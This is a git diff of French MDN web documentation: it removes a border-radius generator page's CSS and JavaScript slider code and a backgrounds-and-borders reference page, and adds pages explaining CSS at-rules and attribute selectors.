-	bottom: 10px;
-	left: 10px;
-}
-
-/**
- * Controls
- */
-
-#dimensions {
-	width: 200px;
-	color: #444;
-	float:left;
-}
-
-#dimensions input {
-	background: #555;
-	color: #FFF;
-	border: none;
-	border-radius: 3px;
-}
-
-#output {
-	width: 500px;
-	padding: 10px 0;
-	margin: 10px 0;
-	color: #555;
-	text-align: center;
-	border: 1px dashed #999;
-	border-radius: 3px;
-	-moz-user-select: text;
-	-webkit-user-select: text;
-	-ms-user-select: text;
-	user-select: text;
-
-	float: right;
-}
-
-
-
- -

Contenu JavaScript

- -
'use strict';
-
-
-/**
- * UI-InputSliderManager
- */
-
-var InputSliderManager = (function InputSliderManager() {
-
-	var subscribers = {};
-	var sliders = [];
-
-	var InputComponent = function InputComponent(obj) {
-		var input = document.createElement('input');
-		input.setAttribute('type', 'text');
-
-		input.addEventListener('click', function(e) {
-			this.select();
-		});
-
-		input.addEventListener('change', function(e) {
-			var value = parseInt(e.target.value);
-
-			if (isNaN(value) === true)
-				setValue(obj.topic, obj.value);
-			else
-				setValue(obj.topic, value);
-		});
-
-		subscribe(obj.topic, function(value) {
-			input.value = value + obj.unit;
-		});
-
-		return input;
-	}
-
-	var SliderComponent = function SliderComponent(obj, sign) {
-		var slider = document.createElement('div');
-		var startX = null;
-		var start_value = 0;
-
-		slider.addEventListener("click", function(e) {
-			setValue(obj.topic, obj.value + obj.step * sign);
-		});
-
-		slider.addEventListener("mousedown", function(e) {
-			startX = e.clientX;
-			start_value = obj.value;
-			document.body.style.cursor = "e-resize";
-			document.addEventListener("mousemove", sliderMotion);
-		});
-
-		document.addEventListener("mouseup", function(e) {
-			document.removeEventListener("mousemove", sliderMotion);
-			document.body.style.cursor = "auto";
-			slider.style.cursor = "pointer";
-		});
-
-		var sliderMotion = function sliderMotion(e) {
-			slider.style.cursor = "e-resize";
-			var delta = (e.clientX - startX) / obj.sensivity | 0;
-			var value = delta * obj.step + start_value;
-			setValue(obj.topic, value);
-		}
-
-		return slider;
-	}
-
-	var InputSlider = function(node) {
-		var min		= node.getAttribute('data-min') | 0;
-		var max		= node.getAttribute('data-max') | 0;
-		var step	= node.getAttribute('data-step') | 0;
-		var value	= node.getAttribute('data-value') | 0;
-		var topic	= node.getAttribute('data-topic');
-		var unit	= node.getAttribute('data-unit');
-		var name 	= node.getAttribute('data-info');
-		var sensivity = node.getAttribute('data-sensivity') | 0;
-
-		this.min = min;
-		this.max = max > 0 ? max : 100;
-		this.step = step === 0 ? 1 : step;
-		this.topic = topic;
-		this.node = node;
-		this.unit = unit;
-		this.sensivity = sensivity > 0 ? sensivity : 5;
-
-		var input = new InputComponent(this);
-		var slider_left  = new SliderComponent(this, -1);
-		var slider_right = new SliderComponent(this,  1);
-
-		slider_left.className = 'ui-input-slider-left';
-		slider_right.className = 'ui-input-slider-right';
-
-		if (name) {
-			var info = document.createElement('span');
-			info.className = 'ui-input-slider-info';
-			info.textContent = name;
-			node.appendChild(info);
-		}
-
-		node.appendChild(slider_left);
-		node.appendChild(input);
-		node.appendChild(slider_right);
-		node.className = 'ui-input-slider ui-input-slider-container';
-
-		this.input = input;
-		sliders[topic] = this;
-		setValue(topic, value);
-	}
-
-	var setValue = function setValue(topic, value, send_notify) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		if (value > slider.max) value = slider.max;
-		if (value < slider.min)	value = slider.min;
-
-		slider.value = value;
-		slider.node.setAttribute('data-value', value);
-
-		if (send_notify !== undefined && send_notify === false) {
-			slider.input.value = value + slider.unit;
-			return;
-		}
-
-		notify.call(slider);
-	}
-
-	var setMax = function setMax(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.max = value;
-		setValue(topic, slider.value);
-	}
-
-	var setMin = function setMin(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.min = value;
-		setValue(topic, slider.value);
-	}
-
-	var setUnit = function setUnit(topic, unit) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.unit = unit;
-		setValue(topic, slider.value);
-	}
-
-	var getNode =  function getNode(topic) {
-		return sliders[topic].node;
-	}
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-		subscribers[topic].push(callback);
-	}
-
-	var unsubscribe = function unsubscribe(topic, callback) {
-		subscribers[topic].indexOf(callback);
-		subscribers[topic].splice(index, 1);
-	}
-
-	var notify = function notify() {
-		for (var i in subscribers[this.topic]) {
-			subscribers[this.topic][i](this.value);
-		}
-	}
-
-	var init = function init() {
-		var elem = document.querySelectorAll('.ui-input-slider');
-		var size = elem.length;
-		for (var i = 0; i < size; i++)
-			new InputSlider(elem[i]);
-	}
-
-	return {
-		init : init,
-		setMax : setMax,
-		setMin : setMin,
-		setUnit : setUnit,
-		getNode : getNode,
-		setValue : setValue,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe
-	}
-
-})();
-
-/**
- * UI-ButtonManager
- */
-
-var ButtonManager = (function CheckBoxManager() {
-
-	var subscribers = [];
-	var buttons = [];
-
-	var CheckBox = function CheckBox(node) {
-		var topic = node.getAttribute('data-topic');
-		var state = node.getAttribute('data-state');
-		var name = node.getAttribute('data-label');
-		var align = node.getAttribute('data-text-on');
-
-		state = (state === "true");
-
-		var checkbox = document.createElement("input");
-		var label = document.createElement("label");
-
-		var id = 'checkbox-' + topic;
-		checkbox.id = id;
-		checkbox.setAttribute('type', 'checkbox');
-		checkbox.checked = state;
-
-		label.setAttribute('for', id);
-		if (name) {
-			label.className = 'text';
-			if (align)
-				label.className += ' ' + align;
-			label.textContent = name;
-		}
-
-		node.appendChild(checkbox);
-		node.appendChild(label);
-
-		this.node = node;
-		this.topic = topic;
-		this.checkbox = checkbox;
-
-		checkbox.addEventListener('change', function(e) {
-			notify.call(this);
-		}.bind(this));
-
-		buttons[topic] = this;
-	}
-
-	var getNode =  function getNode(topic) {
-		return buttons[topic].node;
-	}
-
-	var setValue = function setValue(topic, value) {
-		try {
-			buttons[topic].checkbox.checked = value;
-		}
-		catch(error) {
-			console.log(error);
-		}
-	}
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-
-		subscribers[topic].push(callback);
-	}
-
-	var unsubscribe = function unsubscribe(topic, callback) {
-		subscribers[topic].indexOf(callback);
-		subscribers[topic].splice(index, 1);
-	}
-
-	var notify = function notify() {
-		for (var i = 0; i < subscribers[this.topic].length; i++)
-			subscribers[this.topic][i](this.checkbox.checked);
-	}
-
-	var init = function init() {
-		var elem = document.querySelectorAll('.ui-checkbox');
-		var size = elem.length;
-		for (var i = 0; i < size; i++)
-			new CheckBox(elem[i]);
-	}
-
-	return {
-		init : init,
-		setValue : setValue,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe
-	}
-
-})();
-
-
-window.addEventListener("load", function() {
-	BorderRadius.init();
-});
-
-var BorderRadius = (function BorderRadius() {
-
-	function getElemById(id) {
-		return document.getElementById(id);
-	}
-
-	/**
-	 * Shadow dragging
-	 */
-	var PreviewMouseTracking = (function Drag() {
-		var active = false;
-		var lastX = 0;
-		var lastY = 0;
-		var subscribers = [];
-
-		var init = function init(id) {
-			var elem = getElemById(id);
-			elem.addEventListener('mousedown', dragStart, false);
-			document.addEventListener('mouseup', dragEnd, false);
-		}
-
-		var dragStart = function dragStart(e) {
-			if (e.button !== 0)
-				return;
-
-			active = true;
-			lastX = e.clientX;
-			lastY = e.clientY;
-			document.addEventListener('mousemove', mouseDrag, false);
-		}
-
-		var dragEnd = function dragEnd(e) {
-			if (e.button !== 0)
-				return;
-
-			if (active === true) {
-				active = false;
-				document.removeEventListener('mousemove', mouseDrag, false);
-			}
-		}
-
-		var mouseDrag = function mouseDrag(e) {
-			notify(e.clientX - lastX, e.clientY - lastY);
-			lastX = e.clientX;
-			lastY = e.clientY;
-		}
-
-		var subscribe = function subscribe(callback) {
-			subscribers.push(callback);
-		}
-
-		var unsubscribe = function unsubscribe(callback) {
-			var index = subscribers.indexOf(callback);
-			subscribers.splice(index, 1);
-		}
-
-		var notify = function notify(deltaX, deltaY) {
-			for (var i in subscribers)
-				subscribers[i](deltaX, deltaY);
-		}
-
-		return {
-			init : init,
-			subscribe : subscribe,
-			unsubscribe : unsubscribe
-		}
-
-	})();
-
-	var subject;
-	var units = ['px', '%'];
-	var output = null;
-
-	var UnitSelector = function UnitSelector(topic) {
-
-		this.container = document.createElement("div");
-		this.select = document.createElement("select");
-		for (var i in units) {
-			var option = document.createElement("option");
-			option.value = i;
-			option.textContent = units[i];
-			this.select.appendChild(option);
-		}
-
-		this.container.className = 'dropdown ' + 'unit-' + topic;
-		this.container.appendChild(this.select);
-	}
-
-	UnitSelector.prototype.setValue = function setValue(value) {
-		this.salect.value = value;
-	}
-
-
-	var RadiusContainer = function RadiusContainer(node) {
-		var radius = document.createElement('div');
-		var handle = document.createElement('div');
-		var x = node.getAttribute('data-x');
-		var y = node.getAttribute('data-y');
-		var active = false;
-
-		this.id = node.id;
-		this.node = node;
-		this.radius = radius;
-		this.handle = handle;
-		this.width = 100;
-		this.height = 50;
-		this.size = 0;
-		this.rounded = false;
-
-		this.unitX = 0;
-		this.unitY = 0;
-		this.unitR = 0;
-
-		this.maxW = 100;
-		this.maxH = 100;
-		this.maxR = 100;
-
-		this.topic = y + '-' + x;
-
-		var sliderW = InputSliderManager.getNode(this.topic + '-w');
-		var sliderH = InputSliderManager.getNode(this.topic + '-h');
-		var sliderR = InputSliderManager.getNode(this.topic);
-
-		this.setUnitX(this.unitX);
-		this.setUnitY(this.unitY);
-		this.setUnitR(this.unitR);
-
-		this.updateWidth();
-		this.updateHeight();
-		this.updateRadius();
-
-		if (x === 'left')	this.resizeX =  1;
-		if (x === 'right')	this.resizeX = -1;
-		if (y === 'top')	this.resizeY =  1;
-		if (y === 'bottom')	this.resizeY = -1;
-
-		radius.className = 'radius';
-
-		var unit_selector = document.getElementById("unit-selection");
-		var unitW = new UnitSelector(this.topic + '-w');
-		var unitH = new UnitSelector(this.topic + '-h');
-		var unitR = new UnitSelector(this.topic);
-
-		unit_selector.appendChild(unitW.container);
-		unit_selector.appendChild(unitH.container);
-		unit_selector.appendChild(unitR.container);
-		node.appendChild(radius);
-		subject.appendChild(handle);
-
-		unitW.select.addEventListener('change', function(e) {
-			this.setUnitX(e.target.value | 0);
-		}.bind(this));
-
-		unitH.select.addEventListener('change', function(e) {
-			this.setUnitY(e.target.value | 0);
-		}.bind(this));
-
-		unitR.select.addEventListener('change', function(e) {
-			this.setUnitR(e.target.value | 0);
-		}.bind(this));
-
-		if (x === 'left' && y == 'top') handle.className = 'handle handle-top-left'
-		if (x === 'right' && y == 'top') handle.className = 'handle handle-top-right';
-		if (x === 'right' && y == 'bottom') handle.className = 'handle handle-bottom-right';
-		if (x === 'left' && y == 'bottom') 	handle.className = 'handle handle-bottom-left';
-
-		handle.addEventListener("mousedown", function(e) {
-			active = true;
-			this.radius.style.display = 'block';
-			PreviewMouseTracking.subscribe(this.updateContainer.bind(this));
-		}.bind(this));
-
-		document.addEventListener("mouseup", function(e) {
-			this.radius.style.display = 'none';
-			if (active === true)
-				PreviewMouseTracking.unsubscribe(this.updateContainer.bind(this));
-		}.bind(this));
-
-		InputSliderManager.subscribe(this.topic + '-w', this.setWidth.bind(this));
-		InputSliderManager.subscribe(this.topic + '-h', this.setHeight.bind(this));
-		InputSliderManager.subscribe(this.topic, this.setRadius.bind(this));
-
-		ButtonManager.subscribe(this.topic, function(value) {
-			this.rounded = value;
-			if (value === true) {
-				unitW.container.style.display = 'none';
-				unitH.container.style.display = 'none';
-				unitR.container.style.display = 'block';
-				sliderW.style.display = 'none';
-				sliderH.style.display = 'none';
-				sliderR.style.display = 'block';
-				this.setUnitR(this.unitR);
-				this.updateRadius();
-			}
-
-			if (value === false) {
-				unitW.container.style.display = 'block';
-				unitH.container.style.display = 'block';
-				unitR.container.style.display = 'none';
-				sliderW.style.display = 'block';
-				sliderH.style.display = 'block';
-				sliderR.style.display = 'none';
-				this.setUnitX(this.unitX);
-				this.setUnitY(this.unitY);
-				this.updateWidth();
-				this.updateHeight();
-			}
-
-			this.updateBorderRadius();
-
-		}.bind(this));
-
-		this.updateBorderRadius();
-	}
-
-	RadiusContainer.prototype.updateWidth = function updateWidth() {
-		this.node.style.width = this.width + units[this.unitX];
-		var value = Math.round(this.width / 2);
-		InputSliderManager.setValue(this.topic + '-w', value, false);
-	}
-
-	RadiusContainer.prototype.updateHeight = function updateHeight() {
-		this.node.style.height = this.height + units[this.unitY];
-		var value = Math.round(this.height / 2);
-		InputSliderManager.setValue(this.topic + '-h', value, false);
-	}
-
-	RadiusContainer.prototype.updateRadius = function updateRadius() {
-		var value = Math.round(this.size / 2);
-		this.node.style.width = this.size + units[this.unitR];
-		this.node.style.height = this.size + units[this.unitR];
-		InputSliderManager.setValue(this.topic, value, false);
-	}
-
-	RadiusContainer.prototype.setWidth = function setWidth(value) {
-		this.radius.style.display = 'block';
-		this.width = 2 * value;
-		this.node.style.width = this.width + units[this.unitX];
-		this.updateBorderRadius();
-	}
-
-	RadiusContainer.prototype.setHeight = function setHeight(value) {
-		this.radius.style.display = 'block';
-		this.height = 2 * value;
-		this.node.style.height = this.height + units[this.unitY];
-		this.updateBorderRadius();
-	}
-
-	RadiusContainer.prototype.setRadius = function setRadius(value) {
-		this.radius.style.display = 'block';
-		this.size = 2 * value;
-		this.node.style.width = this.size + units[this.unitR];
-		this.node.style.height = this.size + units[this.unitR];
-		this.updateBorderRadius();
-	}
-
-	RadiusContainer.prototype.setUnitX = function setUnitX(value) {
-		this.unitX = value;
-		if (this.unitX === 0) this.maxW = 2 * subject.clientWidth;
-		if (this.unitX === 1) this.maxW = 200;
-		InputSliderManager.setUnit(this.topic + '-w', units[this.unitX]);
-		InputSliderManager.setMax(this.topic + '-w', this.maxW / 2);
-	}
-
-	RadiusContainer.prototype.setUnitY = function setUnitY(value) {
-		this.unitY = value;
-		if (this.unitY === 0) this.maxH = 2 * subject.clientHeight;
-		if (this.unitY === 1) this.maxH = 200;
-		InputSliderManager.setUnit(this.topic + '-h', units[this.unitY]);
-		InputSliderManager.setMax(this.topic + '-h', this.maxH / 2);
-	}
-
-	RadiusContainer.prototype.setUnitR = function setUnitR(value) {
-		this.unitR = value;
-
-		if (this.unitR === 0)
-			this.maxR = 2 * Math.min(subject.clientHeight , subject.clientWidth);
-
-		if (this.unitR === 1)
-			this.maxR = 200;
-
-		InputSliderManager.setUnit(this.topic, units[this.unitR]);
-		InputSliderManager.setMax(this.topic, this.maxR / 2);
-	}
-
-	RadiusContainer.prototype.updateUnits = function updateUnits(unit) {
-		if (this.rounded) {
-			this.setUnitR(this.unitR);
-			return;
-		}
-
-		if (unit === 0)
-			this.setUnitX(this.unitX);
-
-		if (unit === 1)
-			this.setUnitY(this.unitY);
-	}
-
-	RadiusContainer.prototype.composeBorderRadius = function composeBorderRadius () {
-
-		if (this.rounded === true) {
-			var unit = units[this.unitR];
-			var value = Math.round(this.size / 2);
-			return value + unit;
-		}
-
-		var unitX = units[this.unitX];
-		var unitY = units[this.unitY];
-		var valueX = Math.round(this.width / 2);
-		var valueY = Math.round(this.height / 2);
-
-		if (valueX === valueY && this.unitX === this.unitY)
-			return valueX + unitX;
-
-		return valueX + unitX + ' ' + valueY + unitY;
-	}
-
-	RadiusContainer.prototype.updateBorderRadius = function updateBorderRadius () {
-		var radius = this.composeBorderRadius();
-		var corner = 0;
-
-		if (this.topic === 'top-left') {
-			subject.style.borderTopLeftRadius = radius;
-			corner = 0;
-		}
-
-		if (this.topic === 'top-right') {
-			subject.style.borderTopRightRadius = radius;
-			corner = 1;
-		}
-
-		if (this.topic === 'bottom-right') {
-			subject.style.borderBottomRightRadius = radius;
-			corner = 2;
-		}
-
-		if (this.topic === 'bottom-left') {
-			subject.style.borderBottomLeftRadius = radius;
-			corner = 3;
-		}
-
-		Tool.updateOutput(corner, radius);
-	}
-
-	RadiusContainer.prototype.updateContainer = function updateContainer(deltaX, deltaY) {
-
-		if (this.rounded === true) {
-			this.size += this.resizeX * deltaX + this.resizeY * deltaY;
-			if (this.size < 0)	this.size = 0;
-			if (this.size > this.maxR)	this.size = this.maxR;
-			this.updateRadius();
-			this.updateBorderRadius();
-			return;
-		}
-
-		if (deltaX) {
-			this.width += this.resizeX * deltaX;
-			if (this.width < 0)	this.width = 0;
-			if (this.width > this.maxW)	this.width = this.maxW;
-			this.updateWidth();
-		}
-
-		if (deltaY) {
-			this.height += this.resizeY * deltaY;
-			if (this.height < 0) this.height = 0;
-			if (this.height > this.maxH)	this.height = this.maxH;
-			this.updateHeight();
-		}
-
-		if (deltaX || deltaY)
-			this.updateBorderRadius();
-	}
-
-
-	/**
-	 * Tool Manager
-	 */
-	var Tool = (function Tool() {
-		var preview;
-		var preview_ui;
-		var radius_containers = [];
-		var border_width = 3;
-		var borders1 = [null, null, null, null];
-		var borders2 = [0, 0, 0, 0];
-
-		var updateUIWidth = function updateUIWidth(value) {
-			var pwidth = subject.parentElement.clientWidth;
-			var left = (pwidth - value) / 2;
-			subject.style.width = value + "px";
-
-			for (var i = 0; i < 4; i++)
-				radius_containers[i].updateUnits(0);
-		}
-
-		var updateUIHeight = function updateUIHeight(value) {
-			var pheight = subject.parentElement.clientHeight;
-			var top = (pheight - value) / 2;
-			subject.style.height = value + "px";
-			subject.style.top = top - border_width + "px";
-
-			for (var i = 0; i < 4; i++)
-				radius_containers[i].updateUnits(1);
-		}
-
-		var updatePreviewUIWidth = function updatePreviewUIWidth() {
-			var p = subject.parentElement.clientWidth;
-			var v = preview_ui.clientWidth;
-			console.log(p, v, (p - v ) / 2);
-			preview_ui.style.left = (p - v) / 2 + "px" ;
-		}
-
-		var updatePreviewUIHeight = function updatePreviewUIHeight() {
-			var p = subject.parentElement.clientHeight;
-			var v = preview_ui.clientHeight;
-			console.log(p, v, (p - v ) / 2);
-			preview_ui.style.top = (p - v) / 2 + "px" ;
-		}
-
-		var updateOutput = function updateOutput(corner, radius) {
-			var values = radius.split(" ");
-
-			borders1[corner] = values[0];
-			borders2[corner] = values[0];
-
-			if (values.length === 2)
-				borders2[corner] = values[1];
-
-			var border_1_value = borders1.join(" ");
-			var border_2_value = borders2.join(" ");
-			var border_radius = 'border-radius: ' + border_1_value;
-
-			if (border_2_value !== border_1_value)
-				border_radius += ' / ' + border_2_value;
-
-			border_radius += ';';
-			output.textContent = border_radius;
-		}
-
-		var init = function init() {
-			preview = getElemById("preview");
-			subject = getElemById("subject");
-			output = getElemById("output");
-			preview_ui = getElemById("radius-ui-sliders");
-
-			var elem = document.querySelectorAll('.radius-container');
-			var size = elem.length;
-			for (var i = 0; i < size; i++)
-				radius_containers[i] = new RadiusContainer(elem[i]);
-
-			InputSliderManager.subscribe("width", updateUIWidth);
-			InputSliderManager.subscribe("height", updateUIHeight);
-
-			InputSliderManager.setValue("width", subject.clientWidth);
-			InputSliderManager.setValue("height", subject.clientHeight);
-		}
-
-		return {
-			init : init,
-			updateOutput : updateOutput
-		}
-
-	})();
-
-	/**
-	 * Init Tool
-	 */
-	var init = function init() {
-		ButtonManager.init();
-		InputSliderManager.init();
-		PreviewMouseTracking.init("preview");
-		Tool.init();
-	}
-
-	return {
-		init : init
-	}
-
-})();
-
-
-
-
- -

{{EmbedLiveSample('border-radius-generator', '100%', '800px', '')}}

diff --git "a/files/fr/web/css/arri\303\250re-plans_et_bordures_css/index.html" "b/files/fr/web/css/arri\303\250re-plans_et_bordures_css/index.html" deleted file mode 100644 index 8873196702..0000000000 --- "a/files/fr/web/css/arri\303\250re-plans_et_bordures_css/index.html" +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: Arrière-plans et bordures CSS -slug: Web/CSS/Arrière-plans_et_bordures_CSS -tags: - - CSS - - Référence(2) -translation_of: Web/CSS/CSS_Backgrounds_and_Borders -translation_of_original: Web/CSS/CSS_Background_and_Borders ---- -
{{CSSRef}}
- -

Les arrière-plans et bordures CSS forment un module CSS qui définit la façon dont les arrière-plans et les bordures des éléments sont décrits. Les bordures peuvent ainsi être des lignes ou des images et les boîtes peuvent avoir un ou plusieurs arrière-plan, des coins arrondis, des ombres.

- -

Référence

- -

Propriétés CSS

- -
-
    -
  • {{cssxref("background")}}
    • -
  • {{cssxref("background-attachment")}}
    • -
  • {{cssxref("background-clip")}}
    • -
  • {{cssxref("background-color")}}
    • -
  • {{cssxref("background-image")}}
    • -
  • {{cssxref("background-origin")}}
    • -
  • {{cssxref("background-position")}}
    • -
  • {{cssxref("background-repeat")}}
    • -
  • {{cssxref("background-size")}}
    • -
  • {{cssxref("border")}}
    • -
  • {{cssxref("border-bottom")}}
    • -
  • {{cssxref("border-bottom-color")}}
    • -
  • {{cssxref("border-bottom-left-radius")}}
    • -
  • {{cssxref("border-bottom-right-radius")}}
    • -
  • {{cssxref("border-bottom-style")}}
    • -
  • {{cssxref("border-bottom-width")}}
    • -
  • {{cssxref("border-collapse")}}
    • -
  • {{cssxref("border-color")}}
    • -
  • {{cssxref("border-image")}}
    • -
  • {{cssxref("border-image-outset")}}
    • -
  • {{cssxref("border-image-repeat")}}
    • -
  • {{cssxref("border-image-slice")}}
    • -
  • {{cssxref("border-image-source")}}
    • -
  • {{cssxref("border-image-width")}}
    • -
  • {{cssxref("border-left")}}
    • -
  • {{cssxref("border-left-color")}}
    • -
  • {{cssxref("border-left-style")}}
    • -
  • {{cssxref("border-left-width")}}
    • -
  • {{cssxref("border-radius")}}
    • -
  • {{cssxref("border-right")}}
    • -
  • {{cssxref("border-right-color")}}
    • -
  • {{cssxref("border-right-style")}}
    • -
  • {{cssxref("border-right-width")}}
    • -
  • {{cssxref("border-style")}}
    • -
  • {{cssxref("border-top")}}
    • -
  • {{cssxref("border-top-color")}}
    • -
  • {{cssxref("border-top-left-radius")}}
    • -
  • {{cssxref("border-top-right-radius")}}
    • -
  • {{cssxref("border-top-style")}}
    • -
  • {{cssxref("border-top-width")}}
    • -
  • {{cssxref("border-width")}}
    • -
  • {{cssxref("box-shadow")}}
    • -
-
- -

Guides

- -
-
Utiliser plusieurs arrière-plans CSS
-
Cet article explique comment définir plusieurs arrière-plans sur des éléments et la façon dont ceux-ci interagissent.
-
Redimensionner des images d'arrière-plan
-
Cet article décrit comment modifier l'apparence des images d'arrière-plan en les étirant ou en les retirant afin de couvrir (ou non) tout un élément.
-
- -

Outils

- -
-
Générateur de border-image
-
Cet outil interactif permet de créer, de façon visuelle, des bordures avec images pour {{cssxref("border-image")}}.
-
Générateur de border-radius
-
Cet outil interactif permet de créer des bordures arrondies pour {{cssxref("border-radius")}}.
-
Générateur de box-shadow
-
Cet outil interactif permet de créer des ombres portées derrière les éléments avec {{cssxref("box-shadow")}}.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS3 Backgrounds')}}{{Spec2('CSS3 Backgrounds')}} 
{{SpecName('CSS2.1', 'box.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#border')}}{{Spec2('CSS1')}} 
- -

Compatibilité des navigateurs

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support simple1.0{{CompatGeckoDesktop("1.0")}}4.03.51.0 (85)
-
- -
- - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Support simple{{CompatVersionUnknown}}{{CompatGeckoMobile("1.9.2")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}1.0
-
diff --git a/files/fr/web/css/at-rule/index.html b/files/fr/web/css/at-rule/index.html new file mode 100644 index 0000000000..e298cf9028 --- /dev/null +++ b/files/fr/web/css/at-rule/index.html @@ -0,0 +1,82 @@ +--- +title: Règles @ +slug: Web/CSS/Règles_@ +tags: + - CSS + - Reference + - Règle @ +translation_of: Web/CSS/At-rule +--- +
{{cssref}}
+ +

Une règle @ est une expression CSS commençant par le symbole '@' (U+0040 COMMERCIAL AT), suivi d'un identifiant et qui contient tout ce qui se trouve jusqu'au prochain point-virgule, ';' (U+003B SEMICOLON), ou jusqu'au prochain bloc CSS trouvé en premier.

+ +
/* Forme générique */
+@IDENTIFIANT (RÈGLE);
+
+/* Exemple : indiquer au navigateur d'utiliser */
+/* UTF-8 comme jeu de caractères */
+@charset "utf-8";
+ +

Il existe de nombreuses règles @, désignées par leurs identifiants, chacune ayant leur propre syntaxe :

+ +
    +
  • {{cssxref("@charset")}} qui définit le jeu de caractères utilisé par la feuille de style.
    • +
  • {{cssxref("@import")}} qui indique au moteur de rendu d'inclure une feuille de style externe.
    • +
  • {{cssxref("@namespace")}} qui indique au moteur de rendu que le contenu doit être pris en compte comme s'il était préfixé pour un espace de noms XML.
    • +
  • Les règles @ imbriquées. Ces règles sont un sous-ensemble des instructions imbriquées qui peuvent être utilisées au plus haut niveau de la feuille de style et aussi à l'intérieur de règles conditionnelles : +
      +
    • {{cssxref("@media")}} : une règle de groupe conditionnelle qui applique son contenu si l'appareil utilisé respecte les critères définis dans la « requête média » (ou media query).
      • +
    • {{cssxref("@supports")}} : une règle de groupe conditionnelle qui applique son contenu si le navigateur respecte une condition donnée (par exemple, si le navigateur supporte tel élément de syntaxe).
      • +
    • {{cssxref("@document")}} {{experimental_inline}} : une règle de groupe conditionnelle qui applique son contenu si le document sur lequel s'applique la feuille de style respecte une condition donnée (cette règle a été reportée pour être incluse dans la spécification CSS de niveau 4)
      • +
    • {{cssxref("@page")}} : une règle qui décrit les modifications de disposition à appliquer lorsque le document doit être imprimé/paginé.
      • +
    • {{cssxref("@font-face")}} : une règle qui définit une police externe à télécharger.
      • +
    • {{cssxref("@keyframes")}} : une règle qui décrit les états des différentes étapes intermédiaires qui composent une animation CSS.
      • +
    • {{cssxref("@viewport")}} {{experimental_inline}} : une règle de groupe conditionnelle qui applique son contenu selon des critères relatifs à la zone d'affichage (viewport) (cette règle est au stade du brouillon de travail).
      • +
    • {{cssxref("@counter-style")}} : une règle qui permet de définir des styles de compteur spécifiques qui ne font pas partie des styles prédéfinis (bien que la spécification ait atteint le niveau de Candidate Recommendation, cette fonctionnalité est uniquement implémentée dans Gecko au moment où nous écrivons ces lignes)
      • +
    • {{cssxref("@font-feature-values")}} (ainsi que @swash, @ornaments, @annotation, @stylistic, @styleset et @character-variant) : ces règles permettent de définir des noms d'usages pour la propriété {{cssxref("font-variant-alternates")}} qui permet d'activer différentes caractéristiques des polices OpenType (bien que la spécification ait atteint le niveau de Candidate Recommendation, cette fonctionnalité est uniquement implémentée dans Gecko au moment où nous écrivons ces lignes)
      • +
    +
    • +
+ +

Les règles de groupe conditionnelles

+ +

Comme pour les différentes propriétés, chaque règle @ possède une syntaxe différente. Toutefois, on peut en regrouper certaines dans une catégorie : les règles de groupe conditionnelles. Ces instructions partagent une syntaxe commune et permettent d'inclure des instructions imbriquées (soit des ensembles de règles CSS soit des règles @ imbriquées). De plus, elles portent toutes une sémantique commune : toutes définissent une certaine condition qui, selon qu'elle est évaluée à vrai ou à faux, permettre d'appliquer les instructions imbriquées du groupe.

+ +

Les règles de groupe conditionnelles définies par la spécification de niveau 3 sur les règles CSS conditionnelles sont :

+ +
    +
  • {{cssxref("@media")}},
    • +
  • {{cssxref("@supports")}},
    • +
  • {{cssxref("@document")}} (qui a été reporté à la spécification de niveau 4).
    • +
+ +

Chaque groupe conditionnel peut également contenir des instructions imbriquées. Il peut donc y avoir un nombre indéterminé de niveaux d'imbrication.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatDéfinition
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}}Définition initiale.
{{SpecName('Compat', '#css-at-rules', 'CSS At-rules')}}{{Spec2('Compat')}}Standardisation de @-webkit-keyframes.
+ +

Voir aussi

+ + diff --git a/files/fr/web/css/attribute_selectors/index.html b/files/fr/web/css/attribute_selectors/index.html new file mode 100644 index 0000000000..6c9e719345 --- /dev/null +++ b/files/fr/web/css/attribute_selectors/index.html @@ -0,0 +1,243 @@ +--- +title: Sélecteurs d'attribut +slug: Web/CSS/Sélecteurs_d_attribut +tags: + - CSS + - Débutant + - Reference + - Sélecteur +translation_of: Web/CSS/Attribute_selectors +--- +
{{CSSRef}}
+ +

Les sélecteurs d'attribut permettent de cibler un élément selon la présence d'un attribut ou selon la valeur donnée d'un attribut.

+ +
/* Les éléments <a> avec un attribut title */
+a[title] {
+  color: purple;
+}
+
+/* Les éléments <a> avec un href qui correspond */
+/* à "https://example.org" */
+a[href="https://example.org"] {
+  color: green;
+}
+
+/* Les éléments <a> dont href contient "example" */
+a[href*="example"] {
+  font-size: 2em;
+}
+
+/* Les éléments <a> dont href finit par ".org" */
+a[href$=".org"] {
+  font-style: italic;
+}
+
+/* Les éléments <a> dont l'attribut class contient le mot logo */
+/* comportement identique à a.logo */
+a[class~="logo"] {
+  padding: 2px;
+}
+ +

Syntaxe

+ +
+
[attr]
+
Permet de cibler un élément qui possède un attribut attr.
+
[attr=valeur]
+
Permet de cibler un élément qui possède un attribut attr dont la valeur est exactement valeur.
+
[attr~=valeur]
+
Permet de cibler un élément qui possède un attribut attr dont la valeur est valeur. Cette forme permet de fournir une liste de valeurs, séparées par des blancs, à tester. Si au moins une de ces valeurs est égale à celle de l'attribut, l'élément sera ciblé.
+
[attr|=valeur]
+
Permet de cibler un élément qui possède un attribut attr dont la valeur est exactement valeur ou dont la valeur commence par valeur suivi immédiatement d'un tiret (U+002D). Cela peut notamment être utilisé pour effectuer des correspondances avec des codes de langues.
+
